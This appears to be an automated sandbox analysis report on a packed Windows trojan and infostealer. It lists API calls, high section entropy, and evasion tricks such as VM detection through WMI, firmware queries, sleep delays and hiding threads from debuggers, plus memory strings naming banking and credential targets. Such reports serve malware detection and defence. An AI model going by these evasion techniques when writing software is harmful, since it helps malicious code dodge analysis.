Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78650 NtSetInformationFile,	0_2_00B78650
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B787F0 NtProtectVirtualMemory,	0_2_00B787F0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78710 NtCreateFile,	0_2_00B78710
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78BD0 NtClose,VirtualFree,	0_2_00B78BD0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B780B0 NtSetValueKey,	0_2_00B780B0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78028 NtCreateKey,	0_2_00B78028
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78070 NtEnumerateKey,	0_2_00B78070
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78180 NtNotifyChangeKey,	0_2_00B78180
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B781E0 NtQueryMultipleValueKey,	0_2_00B781E0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B782E0 NtWriteFile,	0_2_00B782E0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B7827C NtSetInformationKey,	0_2_00B7827C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B783F4 NtDuplicateObject,	0_2_00B783F4
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78338 NtQueryObject,	0_2_00B78338
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B7836C NtQueryDirectoryFile,	0_2_00B7836C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B7848C NtLockFile,	0_2_00B7848C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B784EC NtUnlockFile,	0_2_00B784EC
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B7843C NtQueryVolumeInformationFile,	0_2_00B7843C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B7858C NtMapViewOfSection,	0_2_00B7858C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B785EC NtCreateSection,	0_2_00B785EC
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78558 NtQuerySection,	0_2_00B78558
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78684 NtQueryInformationFile,	0_2_00B78684
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B78778 NtOpenFile,	0_2_00B78778
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77BB0 NtQueryInformationProcess,	0_2_00B77BB0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77BE4 NtCreateThread,	0_2_00B77BE4
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77B50 NtDeviceIoControlFile,	0_2_00B77B50
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77CA0 NtCreateProcessEx,	0_2_00B77CA0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77CF8 NtCreateUserProcess,	0_2_00B77CF8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77C50 NtCreateProcess,	0_2_00B77C50
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77D8C NtSetVolumeInformationFile,	0_2_00B77D8C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77DE0 NtQuerySecurityObject,	0_2_00B77DE0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77D60 NtOpenKeyEx,	0_2_00B77D60
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77E14 NtNotifyChangeDirectoryFile,	0_2_00B77E14
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77E6C NtFsControlFile,	0_2_00B77E6C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77FB4 NtQueryKey,	0_2_00B77FB4
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77FE8 NtQueryValueKey,	0_2_00B77FE8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77F04 NtAccessCheck,	0_2_00B77F04
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B77F74 NtEnumerateValueKey,	0_2_00B77F74

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: 0_2_00BD6CA4: CreateFileA,DeviceIoControl,

0_2_00BD6CA4

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00ACEA60	0_2_00ACEA60
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B03920	0_2_00B03920
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00ADBBD0	0_2_00ADBBD0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B03CD0	0_2_00B03CD0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00ACA2C0	0_2_00ACA2C0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AE6220	0_2_00AE6220
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD6264	0_2_00BD6264
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD6600	0_2_00BD6600
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BA482C	0_2_00BA482C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AC2AF0	0_2_00AC2AF0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AE0AF0	0_2_00AE0AF0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AC8AC0	0_2_00AC8AC0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AE4A30	0_2_00AE4A30
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD6A40	0_2_00BD6A40
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B88BB0	0_2_00B88BB0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B04C80	0_2_00B04C80
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B92C0C	0_2_00B92C0C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00ADAD90	0_2_00ADAD90
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AC6F96	0_2_00AC6F96
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B60FF0	0_2_00B60FF0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AC1040	0_2_00AC1040
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AD1050	0_2_00AD1050
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B054A0	0_2_00B054A0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AC94E0	0_2_00AC94E0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B0B5D0	0_2_00B0B5D0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AC3510	0_2_00AC3510
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B0B670	0_2_00B0B670
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AD7780	0_2_00AD7780
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B6B97C	0_2_00B6B97C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD3AC8	0_2_00BD3AC8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AD3A30	0_2_00AD3A30
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BB3C28	0_2_00BB3C28
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD3D94	0_2_00BD3D94
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00AC7D80	0_2_00AC7D80
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00ACBD70	0_2_00ACBD70
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD3F24	0_2_00BD3F24
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_032D58C8	0_2_032D58C8

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: String function: 00B29D9C appears 71 times

Source: nvtoaldlrg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: nvtoaldlrg.exe	Static PE information: Section: ZLIB complexity 0.9996248570884146
Source: nvtoaldlrg.exe	Static PE information: Section: ZLIB complexity 0.99658203125
Source: nvtoaldlrg.exe	Static PE information: Section: ZLIB complexity 0.99390625
Source: nvtoaldlrg.exe	Static PE information: Section: ZLIB complexity 0.9977022058823529
Source: nvtoaldlrg.exe	Static PE information: Section: .data ZLIB complexity 0.9959839400245634

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@11/7

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: nvtoaldlrg.exe, 00000000.00000003.866156085.00000000044C3000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.866412146.0000000001516000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.842999188.00000000044A6000.00000004.00000800.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.842426263.00000000044C7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: nvtoaldlrg.exe	Virustotal: Detection: 58%
Source: nvtoaldlrg.exe	ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

File read: C:\Users\user\Desktop\nvtoaldlrg.exe

Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: nvtoaldlrg.exe

Static file information: File size 1311232 > 1048576

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Unpacked PE file: 0.2.nvtoaldlrg.exe.ac0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:
Source: nvtoaldlrg.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BC59C4 push 00BC5A51h; ret	0_2_00BC5A49
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B680BC push 00B680E8h; ret	0_2_00B680E0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD00FC push 00BD0134h; ret	0_2_00BD012C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B680F4 push 00B68120h; ret	0_2_00B68118
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B34054 push 00B34080h; ret	0_2_00B34078
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B6C194 push 00B6C1CCh; ret	0_2_00B6C1C4
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BA0194 push 00BA01C0h; ret	0_2_00BA01B8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B4A1DC push 00B4A26Ch; ret	0_2_00B4A264
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B4A12C push 00B4A1D7h; ret	0_2_00B4A1CF
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BAE160 push 00BAE18Ch; ret	0_2_00BAE184
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B8C290 push 00B8C2C3h; ret	0_2_00B8C2BB
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B8C2F0 push 00B8C31Ch; ret	0_2_00B8C314
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B3C3A0 push 00B3C400h; ret	0_2_00B3C3F8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD4394 push 00BD43C0h; ret	0_2_00BD43B8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B8C394 push 00B8C3DFh; ret	0_2_00B8C3D7
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B8C33C push 00B8C388h; ret	0_2_00B8C380
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BCE47C push 00BCE4C8h; ret	0_2_00BCE4C0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B4E5C4 push 00B4E5F0h; ret	0_2_00B4E5E8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B8A578 push ecx; mov dword ptr [esp], ecx	0_2_00B8A57D
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B3C578 push 00B3C5A4h; ret	0_2_00B3C59C
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BAC55C push 00BAC5B6h; ret	0_2_00BAC5AE
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B3A6A4 push 00B3A74Ch; ret	0_2_00B3A744
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B3C684 push ecx; mov dword ptr [esp], ecx	0_2_00B3C687
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BB46DC push 00BB4747h; ret	0_2_00BB473F
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B3A62C push 00B3A6A2h; ret	0_2_00B3A69A
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B3C664 push ecx; mov dword ptr [esp], ecx	0_2_00B3C667
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B4A784 push 00B4A7B0h; ret	0_2_00B4A7A8
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B4A7D4 push 00B4A817h; ret	0_2_00B4A80F
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD4730 push 00BD475Ch; ret	0_2_00BD4754
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00B3A770 push 00B3A79Ch; ret	0_2_00B3A794
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 0_2_00BD4768 push 00BD4794h; ret	0_2_00BD478C

Source: nvtoaldlrg.exe	Static PE information: section name: entropy: 7.998779735129503
Source: nvtoaldlrg.exe	Static PE information: section name: entropy: 7.928958124958163
Source: nvtoaldlrg.exe	Static PE information: section name: entropy: 7.974744623175405
Source: nvtoaldlrg.exe	Static PE information: section name: entropy: 7.970326652039579
Source: nvtoaldlrg.exe	Static PE information: section name: .data entropy: 7.974703529943176

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Window / User API: threadDelayed 711

Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe TID: 7132	Thread sleep count: 711 > 30	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe TID: 7152	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\nvtoaldlrg.exe TID: 6352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: 0_2_00B50490 FindFirstFileW,

0_2_00B50490

Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: nvtoaldlrg.exe, 00000000.00000002.1046759978.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000002.1046723334.0000000001455000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.994650409.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.923936426.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.921555375.000000000148F000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1045742040.0000000001454000.00000004.00000020.00020000.00000000.sdmp, nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000148F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000B1F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000B1F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000C69000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000C69000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000B1F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: nvtoaldlrg.exe, 00000000.00000002.1045933046.0000000000C69000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: nvtoaldlrg.exe, 00000000.00000003.866528944.00000000044F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Thread information set: HideFromDebugger			Jump to behavior
